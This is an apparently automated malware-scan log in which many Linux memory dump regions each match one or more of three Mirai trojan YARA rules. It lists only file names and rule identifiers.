Source: 7413.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7413.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7069.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7069.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7069.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6623.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6623.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6623.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6558.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6558.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6558.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6676.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6676.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6676.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6481.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6481.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6481.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6395.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6395.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6395.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6884.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6884.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6884.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6502.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6502.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6502.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6923.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6923.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6923.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6382.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6382.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6382.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7307.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7307.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7307.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7325.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7325.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7325.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6250.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6250.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6250.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7061.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7061.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7061.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6780.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6780.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6780.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6995.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6995.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6995.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6306.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6306.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6306.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7140.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7140.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7140.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7264.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7264.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7264.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6410.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6410.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6410.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6266.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6266.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6266.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7383.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7383.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7383.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6726.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6726.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6726.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6546.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6546.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6546.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6584.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6584.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6584.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6327.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6327.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6327.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7100.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7100.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7100.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7012.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7012.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7012.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6611.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6611.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6611.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7345.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7345.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7345.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7152.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7152.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7152.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6284.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6284.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6284.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6614.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6614.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6614.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7337.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7337.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6853.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6853.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6853.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7174.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7174.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7174.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7337.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7023.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7023.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7023.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6404.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6404.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6404.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6416.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6416.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6416.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6299.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6299.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6299.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7322.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7322.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7322.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7433.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7433.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7433.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6319.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6319.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6319.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6913.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6913.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6913.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6820.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6820.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6820.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6452.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6452.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6452.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6819.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6819.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6819.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7085.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7085.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7085.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7329.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7329.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7329.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6856.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6856.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6856.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7258.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7258.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7258.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6849.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6849.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6849.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6564.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6564.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6564.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6920.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6920.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6920.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6683.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6683.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6683.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6794.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6794.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6794.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7048.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7048.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7048.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6447.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6447.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6447.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7197.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7197.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7197.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6695.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6695.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6695.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6330.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6330.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6330.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7051.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7051.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7051.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7358.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6893.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6893.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
